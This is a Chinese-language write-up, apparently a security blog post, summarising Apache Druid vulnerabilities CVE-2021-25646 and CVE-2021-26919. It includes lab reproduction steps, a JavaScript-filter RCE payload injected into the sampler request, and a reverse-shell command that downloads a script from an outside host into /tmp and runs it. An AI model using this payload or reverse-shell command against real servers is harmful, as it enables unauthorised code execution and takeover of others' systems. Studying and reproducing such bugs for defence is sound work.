apache druid 漏洞总结
文章最后更新时间为:2021年04月20日 15:50:06
1. druid是什么
Apache Druid是一个实时分析数据库,旨在对大型数据集进行快速切片和切分分析(OLAP查询)。 Druid最常用作数据库,支持应用程序实时摄入,快速查询数据。
2. CVE-2021-25646 rce
漏洞概述
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
影响版本
Apache Druid < 0.20.1
漏洞复现
直接用docker起一个环境
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
然后访问http://127.0.0.1:8888,进入Druid console
先开启抓包,然后点击Load data -> Local disk,填入
- Base directory:quickstart/tutorial/
- File filter:wikiticker-2015-09-12-sampled.json.gz
之后一路next即可。
然后打开burp,查看刚才抓的包,定位到/druid/indexer/v1/sampler?for=filter
修改transformSpec参数,加上filter字段:
"filter":{
"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl localhost:9999')}",
"dimension":"added",
"":{
"enabled":"true"
}
}
反弹shell同理,先执行curl -o /tmp/1 curl https://saucer-man.com/reverse/reverse.php?ip=10.10.10.10&port=4444
再sh /tmp/1
3. CVE-2021-26919
影响版本
Apache Druid < 0.20.2
漏洞概述
2021年03月29日,Apache官方发布安全公告,公开了Apache Druid中的一个远程代码执行漏洞(CVE-2021-26919)。
Druid 使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务。由于Apache Druid 默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。